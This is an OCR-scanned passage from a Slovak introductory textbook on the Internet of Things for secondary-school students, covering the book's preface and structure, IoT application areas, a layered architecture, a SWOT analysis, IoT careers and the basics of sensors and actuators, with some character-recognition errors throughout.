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SLOVO UVODOM

Cielom knihy je obozndmenie Citatela s konceptom Internetu veci (Internet of Things, skratene IoT).
Okrem iného moze ziskat Sirokospektralny prehlad o architektire Internetu veci, jeho funkénych
stavebnych blokoch, senzoroch, akénych ¢lenoch, softvérovom programovani aintegrovani
s fyzickym svetom, lokdlnom spracovani Gdajov na hranici siete, spozna sietové protokoly, dozvie sa
o ukladani a spracovani dat v cloude, riadeni na zaklade dat, ako aj v akych oblastiach sa uplatriuju
podnikatelské napady v danej oblasti.

Citatel sa nau¢i kreativne navrhnut systémy od jedného konca k druhému pre Internet veci (tzv. end-
to-end) a prepojit fyzicky svet so softvérovym svetom metddou rychleho prototypovania.

Kniha je uréend Studentom strednych $kél, zdujemcom o moderné technoldgie avsetkym, ktori
hladaju komplexné informaéné zdroje pre ziskanie zakladnych zrucnosti a poznatkov, ktoré su
nevyhnutné pre dalSie studium a Specializaciu. Rozvijajuce sa digitdlne technoldgie vyZzaduju znalosti
konceptov a schopnosti ich praktického nasadenia do praxe pre rieSenie technickych problémov.

Dielo ma za ciel byt prehladovym zdrojom, ktory predstavuje komplexny Uvod do oblasti Internetu
veci. Snazi sa naznadit komplexnost tohto odboru a taktiez ukazat, ze zlozenim mozaiky odbornych
predmetov, ktoré sa ucia studenti na strednych a vysokych Skolach, vznikd nova prilezitost ako vyuzit
komplexné znalosti a vytvorit nieco nové. Internet veci ako nova oblast poskytuje mnoho prileZitosti
pre zamestnanie a podnikanie.

Text, ktory vznikol, by mohol byt zaroveri podkladom pre nové predmety zamerané na loT, ktoré
vznikaju na strednych avysokych skolach. Témy obsiahnuté v knihe boli zvolené na zaklade
praktickych skdsenosti s vyvojom komercnych loT produktov, dopytu technologickych firiem po
znalostiach a Struktury Cisco NetAcadkurzov.
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STRUKTURA KNIHY

Kniha bola konceptualne rozdelend do 6smych hlavnych casti. Kazda z jednotlivych sekcii je venovana
samostatnej oblasti, ktoru sa s ohfadom na pocet stran a hodinovu dotaciu vyucovacich predmetov
snazi ponat prehladovo. To znamenad, Ze nema za Ucel byt vyCerpavajicim zdrojom informacii, ale
poskytnut fahky Uvod do problematiky s naznacenim dalSieho $tudia konkrétnej problematiky.

Prva kapitola je Gvodnou kapitolou do problematiky Internetu veci. Student sa zozndmi s pripadmi,
kde sa loT uZ pouziva a aky ma potencial a trend tato technoldgia.

Druha kapitola je venovana snimacom a moZnostiam prepojenia readlneho sveta s digitalnym.
V jednotlivych sekciach su popisované komponenty loT systémov, ktoré si potrebné pre ziskanie
Udajov aich digitalizaciu. V texte sa venujeme problematike snimacov aich vyberu pre snimanie
fyzikdlnych veli¢in redlneho sveta, mikropocitacom, ale aj teoretickym konceptom prenosu
a spracovania informacii.

Tretia kapitola, ktorej hlavnou témou je softvér, uvddza Studenta do sveta softvérového inZinierstva.
Tento lahky Uvod mu poskytne vstupnud branu do sveta programovania. Spozna moznosti vizualneho
aj textového programovania a pomocou jazyka Python sa méze naucit zaklady. Cast kapitoly sa opéat
venuje datam a ich spracovaniu z pohladu softvérového inZinierstva.

Stvrta kapitola sa vracia k hardvéru, tentokrat k elektronike a vyvoju hardvérovej &asti loT systémov.
S pomocou zdkladov elektroniky sa Student dozvie o jednotlivych suciastkach, ktoré moze vyuzivat pri
navrhu vlastnych elektronickych zapojeni. S pouZitim dosky kontaktného pola a mikropocitacov typu
Arduino alebo Raspberry Pl sa naudi vytvorit prvy prototyp elektronického zariadenia.

Piata kapitola je venovana problematike sieti. KedZe IoT systémy vo velkej miere vyuzivaju existujlicu
infrastruktdru, je vhodné poznat zékladné principy fungovania sieti a zariadeni, ktoré v sieti operuju
a architektary sieti. Velmi vhodnym doplnkovym zdrojom informacii su NetAcad kurzy venované
sietovym technoldgiam.

Siesta kapitola prebera tému bezpecnosti. Ide o prehladovu ¢ast, kde sa spomina napriklad projekt
OWASP, ktory zastre$uje komunitu odbornikov z oblasti sietovej a softvérovej bezpeénosti. Dalej su
spomenuté znamy typy kybernetickych Utokov, proti ktorym sa musime chranit. Pre zaujimavost bol
struéne popisany priebeh kybernetického uatoku. Kapitolu uzatvara problematika Sifrovania
a bezpecnej komunikacie.

Siedma kapitola je z pohladu teoretickych oblasti posledna. Zakladom fungovania ekonomiky je
podnikanie. Pre tych, ktori chcu ist vlastnou podnikatelskou cestou, bola vytvorena posledna kapitola
venovana ekonomickym aspektom sveta loT. Vytvorenie vlastného podnikatelského planu ¢i koncept
Zivotného cyklu produktu.

Priloha B - Pre ucitelov boli vytvorené metodické pokyny, ktorych ciefom je zjednodusit pripravu na
vyuku a samotnu realizaciu vyucovacieho procesu. Pri tvorbe metodickych pokynov sa vychadzalo
z prvotného casového planu predmetu loT. Celkovo bolo vytvorenych 37 metodickych pokynov pre
37 tématickych cviceni. Ocakavana hodinova dotdcia predmetu Internet veci je 33 sedeni. Pre kazdé
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cvi¢enie bolo vytvorené minimalne jedno cvicenie. Cvi¢enie mo6zZe obsahovat viac ¢iastkovych uloh
a doplfiujucich otazok.

Ako skupina spoluautorov verime, Ze téma Internetu veci si ndjde svojich priaznivcov medzi
Studentmi a vzbudi u nich zaujem o dalSie studium technickych vied. Kniha urcite ndjde vyuzitie aj
v rukdch pedagogov, ktori by sjej pomocou dokazali priblizit svet modernych technoldgii svojim
Studentom aj z opacnej strany, nez ho beZzne poznaju. Od obycajného spotrebitela, by sa na chvilu
mohli dostat do pozicie dizajnéra ¢i technického inZiniera, ktory takéto systémy navrhuje, vyraba
a predava.

Budeme velmi vdacni za akukolvek konstruktivnu spatnu vazbu k obsahu, alebo struktire knihy. Na
zaklade kvalitnej spatnej vazby, dokazeme v dalsom vydani, zapracovat redlne poZiadavky, ktoré
zaujimaju koncovych Citatelov tejto knihy.
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1.1 IloT technolodgie v praxi

Internet veci (loT) je vSade okolo nas a rychlo sa rozsiruje. Internet veci pomaha jednotlivcom spajat
veci s cielom zlepsit kvalitu Zivota. Taktiez pomaha firmam a priemyselnym podnikom zlepsit riadenie
zdrojov, aby sa stali efektivnejsimi pri vyrobe a dodavani svojich produktov a sluzieb.

Internet veci je koncept, ktorého hlavnou myslienkou je prepojenie vsetkych fyzickych veci, ktoré su
napajané elektrickou energiou a dokdzu byt pripojené do internetu. Hlavhym cielom internetového
prepojenia veci je ziskavanie informacii z dat, ktoré vsetky veci dokazu vygenerovat. Vtomto
koncepte sa prepaja takmer vSetko — domaca elektronika, priemyselné zariadenia, dopravné
prostriedky, nositelna elektronika a mnoho iného.

Narast produktov, sluZieb a spoloc¢nosti, ktoré sa zaoberaju IoT, vytvara aj nové problémy, ktoré sa
zaroven stavaju podnikatelskou prileZitostou. Ide napriklad o nasledujice otazky a technické
problémy:

Ako integrovat milidny zariadeni od roznych dodavatelov, ktori pouZivaju vlastné aplikacie?
Ako integrovat nové veci do existujlcej sietovej infrastruktury?

Ako zabezpedit tieto nové zariadenia, kde kazdé z nich je konfigurované s rdznou Urovriou
bezpecnosti?

Predpoklada sa, Ze v budicnosti bude akykolvek predmet so sietovym rozhranim pripojeny do
internetu. Bude mat jedine¢ny spdsob identifikacie, schopnost komunikovat a vymienat informacie
s ostatnymi predmetmi av pripade potreby bude schopny aktivhe spracovavat informéacie podla
vopred definovanych schém.

Rozdiel oproti standardnému IT

Komunikacia a prenos dat sa v loT liSi od tradi¢nych IT systémov (web, video stream, databazy).
Prenasané Udaje mozu mat napriklad mall velkost a ¢asté vysielanie. Pocdet zariadeni alebo uzlov,
ktoré sa pripdjaju k sieti, je tiez vacsi.

Pri loT sa objavuje presun hlavnej logiky systému a rozhodovania z centralnych systémov (napriklad
cloud) smerom ku koncovému zariadeniu. loT vyZaduje Specifické procesy a rieSenia bezpecnosti,
prenosu dat, zaistovania kvality a stability komunikaéného kanalu. To vsetko kvoli obmedzenému
vypoctovému vykonu.

Snimanie a zber dat

Zariadenia, ktoré su pripojené do loT infrastruktury, vyuZivaji jeden alebo viac senzorov pre
snimanie fyzikalnych veli¢in audalosti vo fyzickom svete. Kazdy senzor monitoruje Specifické
podmienky, ako su umiestnenie (geograficka lokacia, poloha v priestore), vibracie, pohyb, teplota
a mnoho inych.

Vramci internetu veci sa tieto senzory navzdjom prepoja a vytvoria komplexné systémy, ktoré
s pomocou sofistikovanej aplikaénej logiky dokazu pochopit, alebo prezentovat informacie zo
snimacov. Tieto snimace poskytnid nam fudom nové informacie o redlnom svete, v ktorom Zijeme.
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1.2 Oblasti nasadenia

Od automatizacie budov a inteligentnych tovarni aZ po inteligentné mesta. Vo vacsine oblasti je
snaha aplikovat moderné technolégie z dévodu zvySovania bezpecnosti alebo zniZzovania nakladov na
energiu a udrzbu. To vsetko za pomoci Specializovaného hardvéru, softvéru a s podporou pripojenia
k internetu.

Polnohospoddrstvo

Zariadenia loT by sa mohli pouzivat na monitorovanie pédnych a poveternostnych podmienok.
Senzory by zhromazdovali Udaje o vlhkosti pddy, teplote a kyslosti. Dalsie snimaée by mohli zbierat
udaje o hladinach CO, vo vzduchu, teplotu vzduchu, barometrickom tlaku a vlhkosti. VSetky tieto
Udaje maju samé o sebe len malo pridanej hodnoty, kym sa nezapracuju do kontextu.

Cloud Server

3G/ GPRS
—
| |
=
802.15.4 (2.4 GHz) | | | 802.15.4 (2.4 GHz)

Obrazok 1.1 - IoT v polnohospodarstve
Zdroj [1]

Vyuzitim sofistikovanych pocitacovych programov, mdze byt vytvoreny model vhodny na odhad
pravdepodobnosti dazda na zaklade zmien teploty vzduchu, vlhkosti a kolisania barometrického
tlaku. Zozbierané Udaje o podnych podmienkach mo6zu byt spracované aj softvérom na optimalizaciu
procesu zberu.

Tymto dokdZze polnohospodarsky podnik efektivhe naplanovat prijimanie pracovnych sil, vyuZitie
polnohospodarskej techniky a jej servisné intervaly.

Logistika

Priklad aplikacie 10T v oblasti logistiky mdze mat podobu zberu a analyzy dat, ako napriklad pocet
nakladnych vozidiel vyuzivajucich konkrétny Usek dialnice, teplota ciest, stav letnych azimnych
pneumatik, aktudlne zataZenie automobilu, stav pohonnych hmét aich spracovanie umoinuje
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optimalizovat planovanie trds, rozloZenie vyuZitia vozidiel firmy, planovat servisné intervaly,
predchadzat neocakavanym porucham.

V obore logistiky je IoT mozné pouzit aj pre monitorovanie pohybu tovarov naprie¢ zdsobovacim
retazcom. Monitorovanie a analyza pohybu tovarov od vyrobcov az ku koncovému spotrebitelovi
umozniuje lepsie planovanie skladovych zasob a dorucovacich nakladov. Takéto moznosti st obzvlast
ZiadUce pri prevoze potravin a tovarov s kratkou trvanlivostou.

Energetika

ZvySovanie poctu obyvatelov, rozvoj miest azvySené spoliehanie sa na elektrické pristroje su
v mnohych krajinach vyzvou pre existujuce energetické systémy a vyrobcov energii. Poskytovatelia
energie su tiez pod rasticim tlakom na pouzivanie zdrojov energie s nizkym obsahom uhlika
namiesto fosilnych paliv.

Smart Grid (Inteligentnd siet)

Jedno navrhované ¢iastkové rieSenie sa nazyva inteligentna siet. Dominantnou stratégiou suéasnosti
je centralizovana vyroba elektriny teclcej jednym smerom od vyrobcu k spotrebitelovi. Inteligentna
siet je novym a alternativnym pristupom ovela zlozitejsich prepojeni medzi vyrobcami, skladovacimi
zariadeniami a spotrebitelmi elektrickej energie.
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Obrazok 1.3 - Smart Grid

Zdroj [3]

V koncepte Smart Grid je vo velkej miere vyuZivana vyroba elektrickej energie z obnovitelnych
zdrojov. V tejto inteligentnej sieti si firmy a domacnosti vyrabaju vlastnu energiu, ktora v pripade, Ze
ju nespotrebuju, dokazu vratit naspat do rozvodnej siete. Tato energia je nasledne pristupna pre
ostatnych odberatelov pripojenych do siete. Medzi hlavné vyzvy tychto sieti patria oblasti ako
stabilita, bezpecnost, efektivnost, ¢i vysoka dostupnost energie na miestach, kde je po nej dopyt.

Smart cities (Inteligentné mesta)

Predpoklada sa, Ze v nasledujucich 10 rokoch bude 70% svetovej populacie Zit v mestach. Vzhladom
ktomu, Ze svetové obyvatelstvo sa presiva do mestskych oblasti, trh nalieha na rieSenie
nasledujucich problémov:

zvy$ena hustota obyvatelstva,

zvySovanie znecistenia,

zvySovanie hustoty dopravy,

nedostatocné parkovanie,

nedostatoc¢na infrastruktura,

plytvanie zdrojmi vody,

chybajlce efektivne rieSenie problematiky odpadového hospodarstva,
zvysSenie bezpecnosti v mestach,

rozpoctové a zdrojové obmedzenia.
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Obrazok 1.4 - Smart City

Zdroj [4] :

Digitalizacia je silnym ndstrojom pre mestd, aby sa efektivne popasovali s vyzvami, ktoré so sebou
prindsa rychla urbanizacia. Mestd by s pomocou IoT mohli napriklad zlepsit efektivnost systémov
v budovach - znizit naklady na spravu a Gdrzbu. Na zdklade Udajov zo senzorov by sa mohli vytvorit

modely pouzivania jednotlivych miestnosti. Tieto modely by mohol byt vyuzZité pri automatizovanom
riadeni vykurovania a klimatizacie.

1.3 Architektura loT

V sucasnosti existuje niekolko modelov architektury loT. Vzhfadom na to, Ze loT je pomerne nova

oblast, Ziaden z modelov nie je vSeobecne akceptovany ako univerzalny, ako je tomu v pripade
TCP/IP pripadne OSI modelu.

Zakladny pohlad na loT z vyssej Urovne identifikuje tri zakladné elementy, ktorymi su:

B hardvér - zloZeny zo snimacov, aktuatorov a jednoucelovych riadiacich systémov,

B  middleware - predstavuje UloZisko dat a nastroje pre analyzy vykonavané nad udajmi,

B prezentaény systém - poskytuje moznost, ako jednoducho rozumiet Udajom ziskanym
z readlneho sveta. Tieto prezentacné vystupy su dostupné cez rézne online rozhrania.

Detailnejsi pohlad na architektdru IoT je vytvoreny pomocou $tvorvrstvového modelu. Opét aj tento

model je pomerne zjednoduseny a predstavuje pohlad na loT komunikaciu a datovy tok z vyssej
urovne.
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o 4. Aplikacna vrstva (Services)

= 3. Analyticka vrstva (Data Intelligence)

o 2. Komunikacna vrstva (Edge)

e 1. Hardvérova vrstva (Devices)

i Obrazok 1.5 - Architektura loT (zjednodu$eny model)

Komponenty na prvej vrstve oznacovanej ako hardvér su jednoduché zariadenia, ktoré obsahuju
napriklad fyzické snimace aakcéné cleny (napriklad servomotoréek). Snimace aakcéné cleny sa
nepovazuju za "inteligentné" zariadenia, ale za senzory a ovladace, ktoré sa casto pripdjaju bud’
priamo alebo bezdrotovo cez technoldgie ako Bluetooth do zariadeni loT. Tieto loT zariadenia maju
viac mozZnosti spracovania dat.

Niektoré loT zariadenia komunikuju priamo so suvisiacimi sluzbami v cloude alebo inymi aplikaciami,
ktoré su prevadzkované na internete.

Z vrstvy hardvér su vystupom informacie o realnom svete, ako napriklad:

udaje o tlaku a teplote,

uroven okolitého osvetlenia,
informacie o geolokacii,
pocitadla z vyrobnych procesov,
obrazky z fotoaparatu a kamery,
data z gyroskopu.

loT zariadenie by mohlo byt namontované na vyrobnej linke, na vozidle alebo sa nosit na tele.
V zdvislosti od zloZitosti, mézu zariadenia data len odosielat (snimace) alebo aj prijimat (napriklad
nové parametre konfiguracie, ovladanie akénych ¢lenov).

1.3.2 Komunikacna vrstva

Komunikac¢na vrstva je tiez oznacovand aj ako Edge. Klucovou vlastnostou je zaistenie a udrziavanie
komunikacie medzi cloudom a Edge zariadeniami. Tato komunikacia by mala byt bezpeéna a odolna

30



voci chybam. To vSetko v snahe poskytnut bezpecéné a kvalitné sluzby predspracovania dat (takzvany
pre-processing).

Spracovanie dat moze byt vykonavané v redlnom case. To znamend, Ze Udaje sa spracovavaju ihned'
ako prichadzaju od zariadeni.

Medzi zakladné ulohy predbezného spracovania patria:

verifikacia dat - overovanie spravnosti, Uplnosti, neporusenosti prijatych dat,

filtrovanie dat - odstranenie chybnych, nedplnych, poskodenych, podvrhnutych dat,
agregacia udajov - odstranovanie viacnasobnych zaznamov, Statistické predspracovanie dat,
zniZzovanie objemu dat odosielanych dalej, Uspora energie.

Tieto ulohy sa vykonavaju pred odoslanim dat na analyzu, ktora sa robi na vyssej vrstve. Okrem tohto
sa na komunikacnej urovni vykonava sledovanie ariadenie udalosti (detekcia novej situacie
v snimanom prostredi, poZiadavka na zmenu nastaveni akéného ¢lena), sprava zariadeni z pohladu
ich bezpecnosti a manazmentu (overenie ID zariadenia, vzdialend aktualizacia, vypnutie, restart,
diagnosticky proces).

1.3.3 Analyticka vrstva

Datova analyza je vrstva modelu, kde sa vykonava samotné spracovanie dat a ziskavanie novych
informdcii, ktoré sa stavaju vstupom pre dalsiu vrstvu. V kone¢nom désledku su to prave informacie,
ktoré s monetizované (spenazitefné).

Prave kvoli informéaciam sa dokaze zakaznik spravne rozhodnudt a tym zlepsit napriklad produkciu
alebo usetrit naklady. Za tieto informacie, ktoré musia byt pre zdkaznika uZito¢né a dolezité, zvykne
byt zdkaznik ochotny aj zaplatit. Samozrejme, za predpokladu, Ze Uspora je vyssia ako naklady na
ziskanie a spracovanie tychto informacii.

Medzi hlavné ulohy datovej analyzy patria:

analyza dat - Statisticka analyza ziskanych Udajov. Tymto sa daju odhalit zaujimavé suvislosti
medzi sledovanymi premennymi. S pomocou analyzy sa da urcit, ktory parameter nema
vyznam pre navrh predikéného modelu.

detekcia vzorov v datach - jeden z mozZnych pristupov pri tvorbe modelu. Identifikuju sa
opakujuce vzory toho, ako sa data menia v case. Napriklad zmena tepl6ét v priebehu
niekolkych rokov.

vytvaranie predikénych modelov - odhad buducich hodn6t na zaklade uUdajov ziskanych

z minulosti. To vSetko na zaklade navrhnutej matematickej funkcie, ktora s istou presnostou
popisuje, ako sa premenna menila v minulosti.
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1.3.4 Aplikacna vrstva

loT produkty a sluzby &asto dopltiaju aplikécie, ktoré slizia ako pouzivatelské rozhranie pre interakciu
s loT zariadeniami. NajCastejsSie ide o mobilné a webové aplikacie, kde su dostupné rézne dashboardy
(prehlady) a analyzy.

Prostrednictvom tychto rozhrani, dokaze pouzivatel ziskat informacie s pridanou hodnotou, ktoré
boli exportované z modelov a analyz vytvorenych na analytickej vrstve. V niektorych pripadoch je
mozné cez tieto aplikacie ovladat koncové loT zariadenia.

evvs

1.4 SWOT analyza loT

SWOT analyza je strategicky nastroj pre planovanie, za ucelom identifikovania kfucovych oblasti
projektu. Oznacenie je vytvorené z anglickych nazvov Strengths (silné stranky), Weaknesses (slabé
stranky), Opportunities (prilezZitosti), a Threats (hrozby). Analyza sa zameriava na nasledujlce
aspekty projektu:

silné stranky - vlastnosti projektu, ktoré mu poskytuju vyhodu nad ostatnymi projektmi.
slabé stranky—vlastnosti, ktoréprojekt znevyhodriuju v porovnani s inymi projektmi.
prileZitosti — moZnosti, ktoré je vhodné vyuzit pre Uspech a propagaciu projektu.
hrozby-rizika, ktoré by mohli spdsobit problémy pre projekt.

Ako uZ bolo spomenuté, IoT je pomerne novou oblastou, ktord so sebou prindsa, okrem novych
prilezitosti, taktiez nové problémy a hrozby, ktorym musia ludia pracujuci v tejto oblasti celit.

Silné stranky (S) Slabé stranky (W)
znizovanie nakladov, slaba bezpeénost,
inovacie existujucich produktov slaba ochrana sukromia,
a sluZzieb, zdroje potrebné na spravu dat,
zaujem verejnosti, chybajuca Standardizacia.

detailnejsie informacie o produkcii.

Prilezitosti (O) Hrozby (T)
aplikacie v narocnych oblastiach napadnutie hackermi,
(zdravotnictvo, logistika), nesplnenie ocakavani zakaznikov,
investi¢né prilezitosti. nedostatocny dopyt.

Tabulka 1.1 - SWOT model
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1.4.1 Silné stranky

ZniZovanie nakladov

Znizovanie nakladov sa od loT produktov ocakava obzvlast v oblasti vyroby. Snimace a zariadenia by
mali umoznit efektivne planovat vyrobu a logistiku vyrobkov.

Taktiez koncovi zékaznici by mohli vyuzivat 10T produkty pre ziskanie Uspor. Napriklad inteligentné
domace vykurovanie dokaze usetrit az niekolko desiatok percent nakladov vynakladanych na energie.

Z pohladu firiem by mohlo ist o ziskanie konkurenénej vyhody na trhu alebo Uspor nakladov na
prevadzku ich podnikania, napriklad planovanie servisnych intervalov strojov a zariadeni, prediktivne
predchadzanie porucham.

Inovdcie existujtcich produktov a sluZieb

Inovacie su zakladom technologického pokroku. S pomocou loT sa otvaraju nové moznosti pre
vylepsenia existujlcich technolégii a procesov. Zariadenia mozu ziskat nové komunikacné moznosti.
Ludia sa dokazu kvalifikovane rozhodnut na zaklade kvalitnych informacii o redlnom svete okolo nich.

Zdujem firiem a verejnosti

O oblast IoT prejavuju zaujem aj velké spolocnosti ako Apple, Google ¢i Microsoft. Integruju loT do
svojich novych produktov a sluzieb, ¢im vzbudzuju zaujem verejnosti o nové technoldgie a produkty.

Informdcie o produkcii

loT produkty mézu mat velky prinos pre vyrobné spolocnosti, ktoré dokazu ziskat detailné informacie
oich vyrobnej c¢innosti takmer v redlnom case. Typickou aplikaciou loT v priemysle je sledovanie
vyuZitia strojov, odhad portch, planovanie servisnych intervalov. DalSou aplikaciou je napriklad
prehlad o pohybe materialov a tovarov v ramci vyrobnej linky.

1.4.2 Slabé stranky

Bezpeénost

Najviac sa hovori o nevyhode pripojenia zariadeni do siete Internet aich bezpecnosti. Tieto
zariadenia sa modzu velmi lahko stat teréom hackerskych uUtokov. Verejne publikované aktivity
hackerov, ktori Uspesne prelomili zabezpecenie loT zariadeni alebo systémov (pozri Mirai botnet
alebo Reaper botnet), neprispievaju k dobrej povesti loT produktov.

Zabezpecenie loT systémov je komplexny proces. Firmy, ktoré sa snazia velmi rychlo dodat novy loT
produkt na trh, bez adekvatneho zabezpedenia, sa mozu velmi fahko stat teréom Utokov. Obzvlast
malé firmy mo6zu mat problém so zaplatenim odbornikov na kybernetick( bezpeénost.

Sprdva dat

Kazdym driom sa vsieti produkuji ohromné mnoistvd dat. Tieto Udaje je potrebné ulozit
a analyzovat na ziskanie novych informacii, ktoré sa stadvaju predmetom obchodu. Pripojenim
velkého mnoiZstva loT zariadeni vznika dalSie ohromné mnoZstvo Udajov. ZhromaZdovanie, analyza
a ukladanie vsetkych tychto Udajov je naroc¢na uloha, atak potrebujeme lepsiu infrastruktiru na
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zvladnutie tohto problému. Tato infrastruktiru je opat potrebné zabezpelit pred neopriavnenym
pristupom k uloZzenym informaciam.

Chybajiica standardizdacia

loT je stale vo svojich pociatkoch. Neexistuje Ziadna vSseobecne akceptovana definicia modelu, jeho
Struktury, plan vyvoja loT oblasti, ktory by naznacoval buduice smerovanie. V sucasnej situacii sa loT
posuva s inovaciami. Tieto inovacie prichadzaju nekoordinovane, z r6znych miest. Cely tento problém
sa mdze prejavit napriklad tym, Ze bude dostupnych 10 loT termostatov, ktoré budd komunikovat
réznymi protokolmi, formatmi sprav. Nedokazu komunikovat medzi sebou, niektoré z nich budd mat
horsiu bezpecénost v porovnani s inymi.

1.4.3 PrileZitosti

Aplikdcie v ndrocnych oblastiach

Nasadenie IoT v naroénych oblastiach ako sU zdravotnictvo a logistika by mohlo priniest nové
prilezZitosti pre zlepsenie kvality sluzieb a Usporu nakladov.

Investicné prileZitosti

loT prinasa sériu potencidlnych investi¢nych prileZitosti. Mnoho technoldgii, ktoré vyriesia sucasné
problémy sa mozu stat velmi Ziaduce. Firmy, ktoré tieto technoldgie budu vlastnit alebo vyrdbat,
ziskaju velky objem objednavok, ktoré im pomdzu zlepsit ich poziciu na trhu. Investicia do takychto
spolo¢nosti mbze predstavovat zaujimavé zhodnotenie volného kapitalu.

1.4.4 Hrozby

Napadnutie hackermi

Cim viac ludi a firiem pouziva isty systém alebo produkt, tym sa tento produkt stdva zaujimavejsim
ciefom pre hackersky utok. Ziskanim kontroly nad systémom alebo extrakcia udajov z tohto systému
sa mbze stat velmi dobrou motivaciou pre realizaciu Gtoku. Mnoho hackerov tieto Utoky vykonava
pre inych, ktori im za to velmi dobre zaplatia.

Nesplnenie ocakdvani zakaznikov

Klasickym prikladom novych produktov je nesplnenie ocakavani zakaznikov. Zakaznici maju istu
predstavu o produkte. Casto sa ale stdva, Ze vysledny produkt nie je podla predstav. Nésledne
zakaznik prestdva odporucat tento produkt svojim znamym. Produkt straca svojich zakaznikov,
chybaji mu peniaze na dalsiu prevadzku avyvoj. Casom sa mdze stat, Ze produkt ukonéi svoju
existenciu na trhu.

Nedostatocny dopyt

Aj kvéli vysokej cene produktu moze byt zdujem zakaznikov o novy produkt velmi nizky. Napriklad
inteligentné hodinky, okuliare, alebo Ziarovky nie si vbbec lacné. Cena takychto inteligentnych
zariadeni je casto niekolko ndsobné vyssia nez obycajnych. Ak je pridana hodnota nového produktu
prili§ mala v porovnani s poZzadovanou cenou, zakaznici nekupuji novy produkt. Cena je Castokrat
dolezitym faktorom pri rozSirovani nového produktu na trhu.
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1.5 Pracav odbore loT

Oblast IoT so sebou prindsa aj mnoho novych pracovnych prileZitosti. Spomedzi velkého mnoizstva
spomenieme:

navrhar (dizajnér) - navrhar CAD, ktory dokaze navrhnut spotrebitelské zariadenie loT
z pohladu elektronickych obvodov.

materialovy Specialista - Specialista so znalostou materidlov pouzivanych pri zariadeniach
a senzoroch. Z pohladu uspory nakladov na vyrobu aZivotnosti produktu v externom

prostredi je vyber materialu kltcovy.

inZinier jednoucelovych (embedded) zariadeni - $pecialista, ktory dokaZze naprogramovat loT
zariadenie.

sietovy inZinier - odbornik, ktory pomdze vytvorit pocitacovu siet.

cloud inZinier - S3pecialista schopny vytvorit anasadit middleware a databdzu pre
zhromazdovanie Udajov zo zariadeni loT a pripojenych sieti.

datovy inZinier - Specialista na Statistiku, ktory navrhne Statistické postupy pre ziskanie
kfacovych informdcii ziskanych z loT datovych skladov.

expert na vizualizaciu - odbornik schopny vizuélne interpretovat informacie ziskané z analyz
loT dat.

Ul (user-interface) dizajnér - odbornik, ktory pomoéZe navrhnut spravne pouZivatelské
rozhranie na interakciu s koncovym zariadenim loT.

systémovy architekt - technicky Specialista, ktorého uGlohou je navrhndt spravnu Struktiru
systému, komunika¢ného modelu, zodpovedajucich technickych parametrov.

datovy architekt - ¢lovek zodpovedny za navrh sprdvneho datového modelu, identifikaciu
kfucovych zdrojovych dat a ich spravny prenos do kone¢ného datového skladu.

programator - ¢lovek, ktory vytvori takzvany back-end (systémy a aplikdcie, ktoré funguju na
pozadi) tak, aby prepojil funkcionalitu cloudu a loT zariadeni.

test inZinier - Specialista, ktory sa zameriava na testovanie funkénych aspektov zariadeni
a systémov loT. Identifikuje chyby, nedostatky a pomaha pri zlepSovani kvality produktu.

strojny inZinier - zodpovedny za navrh mechanickych komponentov loT systému, v spolupraci
s elektro-inZinierom navrhuje prepojenia mechanickej ¢asti na elektronickd ovladaciu ¢ast.

Okrem uvedenych pozicii ndjde voblasti loT, pripadne firmach vyvijajucich loT technoldgie,
uplatnenie aj clovek, ktory sa orientuje v oblasti marketingu, predaja, projektového manaZmentu,
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spravy prevadzky zariadeni (angl. operation), odbornik na oblast monitorovania systémov a mnoho
inych technickych a netechnickych Specialistov a odbornikov.
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Arduino, Raspberry Pi
Interakcia s fyzickym svetom
Komponenty loT zariadeni
Snimace a akéné cleny
Riadiace systémy

Informacie a ich spracovanie
Komunikacny model



2.1 Hardvér a jeho komponenty

Informacné technoldgie sa rozSiruju z pracovnych pocitacov aserverov do vonkajsieho sveta.
Prepdjanie zariadeni, ich vzdialené monitorovanie a ovladanie otvaraju nové poZiadavky na technicku
realizaciu komunikacie a riadenia.

Existuje mnoho réznych typov zariadeni, ktoré mézeme ndjst vIloT. Vo vacsine zariadeni, ktoré
prichadzaju do interakcie s fyzickym svetom sa vyskytuja tri zakladné komponenty:

snimace (senzory),
akcné cleny (servopohony),
riadiace prvky (kontroléry).

Snimace

Snimac, tiez oznacovany aj ako senzor, je zariadenie, ktoré mozno pouzit na meranie parametrov
a vlastnosti fyzického sveta. Ziskana informacia mdze byt napriklad droven osvetlenia, vlhkost,
pohyb, tlak, teplota alebo iné environmentalne podmienky.

Snimace modzeme pouzit nazistenie vlhkosti pddy v skleniku, hodnoty krvného tlaku pacienta,
pritomnost skodlivych latok v ovzdusi, zabezpecenie priestoru kancelarie mimo pracovnej doby.

V loT pouzivame snimace, ktoré menia rozne vlastnosti fyzického sveta na elektrické veliciny,
najcastejsie odpor resp. napatie. Tieto elektronické veli¢iny dalej vieme spracovavat prostrednictvom
réznych elektronickych obvodov pripadne pocitaca. Podla toho, aky signal je na vystupe snimacov,
ich mézeme rozdelit do dvoch zakladnych skupin:

snimace s digitalnym vystupom,
snimace s analégovym vystupom.

Snimace s digitalnym vystupom dokazu podat informaciu o meranej veli¢ine len prostrednictvom
dvoch hodndt (dno/nie, zapnuté/vypnuté). Mdzeme sem zaradit napriklad tlacidla, senzory otvorenia
dveri, senzor pritomnosti vody, pohybovy senzor a podobne.

Snimace s analégovym vystupom dokdzu podat informaciu o meranej veli¢éine prostrednictvom
viacerych hodnoét. Radime sem teplomery, merace intenzity osvetlenia, vlhkosti, hluku, natocenia,
zrychlenia,... . Analégovym snimacom teploty vieme odmerat, kolko stupriov ma dany objekt, resp.
vzduch. Digitdlnym snimacom teploty by sme vedeli odmerat len dve hodnoty - ¢i je dany objekt
horuci alebo studeny.

Niektoré snimace maju dokonca dva typy vystupov - analégovy pre zistenie Urovne danej veliciny
a digitalny pre zistenie prekrocenia prahovej hodnoty nejakej veli¢iny.
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Pohybovy senzor Ultrazvukovy senzor Svetelny senzor

Obrazok 2.1 - Senzory

Zdroj [6]

Akcné cleny

Akeny clen je prvok v elektronickom obvode, ktory prijme na vstupe elektricky signal a na vystupe, vo
fyzickom svete,vykona pozadovanu zmenu. Niekedy to mdze byt zmena mechanicka, elektronicka,
inokedy zasa informativna (napriklad svetelna signalizacia).

Zvycajne sa v priemyselnom veku loT nachadzaju tri typy akénych ¢lenov:

elektrické - pohanané motorom, ktory premiena elektrickd energiu na mechanické operacie,
hydraulické - pouziva tlak kvapaliny na vykonanie mechanického pohybu,
pneumatické - pouziva stlaceny vzduch na umoznenie mechanickych operacii.

Akéné Cleny, ktorych ulohou je realizovat pohyb, nazyvame pohony alebo motory. Takyto motor
